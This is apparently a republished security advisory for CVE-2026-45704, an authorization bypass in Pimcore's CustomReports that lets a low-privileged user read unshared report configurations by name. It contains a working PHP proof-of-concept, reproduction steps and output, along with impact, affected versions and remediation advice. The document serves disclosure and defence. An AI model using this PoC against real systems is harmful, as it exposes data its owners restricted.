Summary
Pimcore has a CustomReports Share Bypass
CustomReports uses inconsistent authorization between the report listing endpoint and the report detail endpoint.
- The listing flow filters reports based on report-sharing rules
- The detail flow only checks generic
reportsorreports_configpermissions
As a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user's visible report list.
In the local Docker reproduction:
- The report
poc-secret-reportwas not visible to the low-privileged user in the report list - The same user was still able to retrieve the report configuration directly by name
Root Cause
The listing flow in getReportConfigAction() filters reports through loadForGivenUser():
- CustomReportController.php
- CustomReportController.php
- CustomReportController.php
- Config/Listing/Dao.php
- Config/Listing/Dao.php
However, getAction() only checks generic permissions and then loads the report directly by name:
- CustomReportController.php
- CustomReportController.php
- CustomReportController.php
- CustomReportController.php
This means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic "not visible in list, but readable by direct request" access-control bypass.
Preconditions
- The attacker is an authenticated backend user
- The attacker has the
reportspermission - The target report is not globally shared and is not shared with that user or the user's roles
PoC
<?php
declare(strict_types=1);
use Pimcore\Bundle\CustomReportsBundle\Controller\Reports\CustomReportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\User;
use Pimcore\Model\Tool\SettingsStore;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;
require dirname(__DIR__) . '/vendor/autoload.php';
define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));
try {
\Pimcore\Bootstrap::bootstrap();
$kernel = new \App\Kernel('dev', true);
\Pimcore::setKernel($kernel);
$kernel->boot();
$container = $kernel->getContainer();
/** @var RequestStack $requestStack */
$requestStack = getService($container, [
RequestStack::class,
'request_stack',
]);
$admin = User::getByName('admin');
if (!$admin instanceof User) {
fail('admin user is missing');
}
$auditor = User::getByName('auditor_customreports');
if (!$auditor instanceof User) {
$auditor = new User();
$auditor->setParentId(0);
$auditor->setName('auditor_customreports');
}
$auditor->setAdmin(false);
$auditor->setActive(true);
$auditor->setPassword(Authentication::getPasswordHash('auditor_customreports', 'auditor-pass'));
$auditor->setPermissions(['reports']);
$auditor->setRoles([]);
$auditor->save();
$timestamp = time();
SettingsStore::set(
'poc-secret-report',
json_encode([
'name' => 'poc-secret-report',
'niceName' => 'PoC Secret Report',
'group' => 'Audit',
'dataSourceConfig' => [['type' => 'sql']],
'columnConfiguration' => [],
'shareGlobally' => false,
'sharedUserNames' => ['admin'],
'sharedRoleNames' => [],
'menuShortcut' => true,
'creationDate' => $timestamp,
'modificationDate' => $timestamp,
], JSON_THROW_ON_ERROR),
SettingsStore::TYPE_STRING,
'pimcore_custom_reports'
);
$tokenResolver = buildTokenResolver($auditor);
$controller = wireController(new CustomReportController(), $container, $tokenResolver);
$listRequest = new Request();
$requestStack->push($listRequest);
$listResponse = $controller->getReportConfigAction($listRequest);
$requestStack->pop();
$listData = json_decode($listResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);
$getRequest = new Request(['name' => 'poc-secret-report']);
$requestStack->push($getRequest);
$getResponse = $controller->getAction($getRequest);
$requestStack->pop();
$getData = json_decode($getResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);
$listedNames = array_map(static fn (array $item): string => $item['name'], $listData['reports'] ?? []);
echo json_encode([
'vulnerability' => 'customreports_share_bypass',
'user' => [
'id' => $auditor->getId(),
'name' => $auditor->getName(),
'permissions' => $auditor->getPermissions(),
],
'target_report' => [
'name' => 'poc-secret-report',
'shared_to' => ['admin'],
'share_globally' => false,
],
'result' => [
'report_visible_in_list' => in_array('poc-secret-report', $listedNames, true),
'listed_report_names' => $listedNames,
'direct_get_returned_name' => $getData['name'] ?? null,
'direct_get_shared_user_names' => $getData['sharedUserNames'] ?? null,
],
], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
fail(sprintf(
'%s: %s in %s:%d%s',
$e::class,
$e->getMessage(),
$e->getFile(),
$e->getLine(),
$e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
));
}
function wireController(
UserAwareController $controller,
ContainerInterface $container,
TokenStorageUserResolver $tokenResolver
): UserAwareController
{
$controller->setContainer($container);
$controller->setTokenResolver($tokenResolver);
if (method_exists($controller, 'setPimcoreSerializer')) {
/** @var PimcoreSerializer $serializer */
$serializer = getService($container, [
PimcoreSerializer::class,
'Pimcore\\Serializer\\Serializer',
]);
$controller->setPimcoreSerializer($serializer);
}
return $controller;
}
function buildTokenResolver(User $user): TokenStorageUserResolver
{
$tokenStorage = new TokenStorage();
$proxyUser = new SecurityUser($user);
$token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
$tokenStorage->setToken($token);
return new TokenStorageUserResolver($tokenStorage);
}
function getService(ContainerInterface $container, array $ids): mixed
{
foreach ($ids as $id) {
try {
if ($container->has($id)) {
return $container->get($id);
}
} catch (Throwable) {
}
}
fail('Unable to resolve service: ' . implode(', ', $ids));
}
function fail(string $message): never
{
fwrite(STDERR, $message . PHP_EOL);
exit(1);
}
Reproduction Steps
- Create a low-privileged user named
auditor_customreportswith thereportspermission. - Create a report named
poc-secret-reportwith:shareGlobally = falsesharedUserNames = ['admin']
- As
auditor_customreports, request the visible report list and verify thatpoc-secret-reportis absent. - As the same user, call
getAction(name=poc-secret-report)directly. - Verify that the response still contains the report configuration.
Reproduction command:
cd pimcore-12.3.3-repro
docker compose exec -T php php poc_customreports.php
Reproduction Result
Relevant PoC output:
{
"vulnerability": "customreports_share_bypass",
"user": {
"name": "auditor_customreports",
"permissions": [
"reports"
]
},
"target_report": {
"name": "poc-secret-report",
"shared_to": [
"admin"
],
"share_globally": false
},
"result": {
"report_visible_in_list": false,
"listed_report_names": [],
"direct_get_returned_name": "poc-secret-report",
"direct_get_shared_user_names": [
"admin"
]
}
}
This shows that:
- The current user cannot see the report in the visible report list
- The same user can still retrieve the report configuration directly
This confirms that the share-bypass issue is practically exploitable.
Security Impact
- Unauthorized disclosure of report configuration
- Disclosure of sharing scope and internal report structure
- Potential leakage of data-source and query organization details
- Useful reconnaissance for follow-on unauthorized execution or export paths
Impact
An attacker can read sensitive report metadata without authorization, including:
- Report name
- Grouping information
- Display and icon metadata
- Data source configuration
- Column configuration
- Sharing settings
From the source code, other report endpoints such as data, chart, create-csv, and download-csv also resolve reports by name in a similar way:
This report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.
The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.
Affected versions
Security releases
Kodem intelligence
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See it in your environmentNew to Kodem? Get a demo →Remediation advice
- Add object-level sharing checks to
getAction()equivalent toloadForGivenUser(). - Centralize authorization into a single "can current user access this report?" function reused by
get,data,chart,create-csv, anddownload-csv. - Return
403for unshared reports. - Add regression tests to ensure that users with
reportspermission but without report-sharing access cannot retrieve report details.
Frequently Asked Questions
- What is CVE-2026-45704? CVE-2026-45704 is a high-severity incorrect authorization vulnerability in pimcore/pimcore (composer), affecting versions >= 12.0.0-RC1, <= 12.3.5. It is fixed in 12.3.6, 11.5.17, 2026.1.2. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
- Which versions of pimcore/pimcore are affected by CVE-2026-45704? pimcore/pimcore (composer) versions >= 12.0.0-RC1, <= 12.3.5 is affected.
- Is there a fix for CVE-2026-45704? Yes. CVE-2026-45704 is fixed in 12.3.6, 11.5.17, 2026.1.2. Upgrade to this version or later.
- Is CVE-2026-45704 exploitable, and should I be worried? Whether CVE-2026-45704 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-45704 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-45704?
- Upgrade
pimcore/pimcoreto 12.3.6 or later - Upgrade
pimcore/pimcoreto 11.5.17 or later - Upgrade
pimcore/pimcoreto 2026.1.2 or later
- Upgrade